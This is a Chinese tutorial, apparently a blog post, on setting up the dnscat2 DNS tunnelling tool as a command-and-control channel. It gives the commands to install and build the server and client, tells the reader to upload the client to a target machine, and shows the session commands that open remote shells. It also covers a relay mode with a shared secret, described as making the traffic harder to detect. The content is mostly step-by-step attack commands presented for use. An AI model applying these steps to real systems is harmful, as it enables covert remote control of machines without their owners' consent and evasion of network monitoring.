DNS隧道

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell

目录

Dnscat2安装

[解决bundle instal1特别慢问题](#解决bundle instal1特别慢问题)

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

dnscat下载下来上传目标机

DNS直连模式

开启服务端

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

​DNS直连流量展示

[DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)](#DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆))

服务端启动

客户端启动

可能出现的问题

53端口被占用,csdn有相关文章讲述


Dnscat2安装

复制代码
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler

git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/server
bundle install

解决bundle instal1特别慢问题

复制代码
vim Gemfile   #打开这个配置文件
source 'https://gems.ruby-china.com'  #修改配置

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

复制代码
git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/client/
make

dnscat下载下来上传目标机

DNS直连模式

开启服务端

复制代码
ruby ./dnscat2.rb

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

复制代码
获取shell:

windows  #相当于msf的sessions
session -i 1
shell
session -i 2
back  #放后台

DNS直连流量展示

DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)

服务端启动

复制代码
ruby ./dnscat2.rb nc1.peiqi.fake.top --secret=crazy  #--secret=crazy密码设置,nc1.peiqi.fake.top挂的中继

客户端启动

dnscat也是和直连模式一样获取的

复制代码
./dnscat --secret=crazy nc1.peiqi.fake.top

可能出现的问题

53端口被占用,csdn有相关文章讲述

相关推荐
奋斗者1号7 分钟前
OpenSSL 签名格式全攻略:深入解析与应用要点
服务器·网络·web安全
遇见火星16 分钟前
Ansible模块——Ansible配置文件!
linux·git·ansible
bjackal22 分钟前
【Ubuntu远程桌面】
linux·ubuntu·postgresql
少林65925 分钟前
局域网内文件共享的实用软件推荐
运维·服务器
怀旧,30 分钟前
【Python】3.函数与列表
java·前端·python
打不了嗝 ᥬ᭄1 小时前
Linux进程概念
linux·运维·服务器
炎码工坊1 小时前
Debian:自由操作系统的精神图腾与技术基石
linux
唐人街都是苦瓜脸1 小时前
uni-app 提供的页面跳转方法详细解释及其区别
前端·uni-app
晚秋大魔王1 小时前
全志F1c200开发笔记——移植Debian文件系统
linux·服务器·网络
咔咔库奇2 小时前
性能优化深度实践:突破vue应用性能
前端·vue.js·性能优化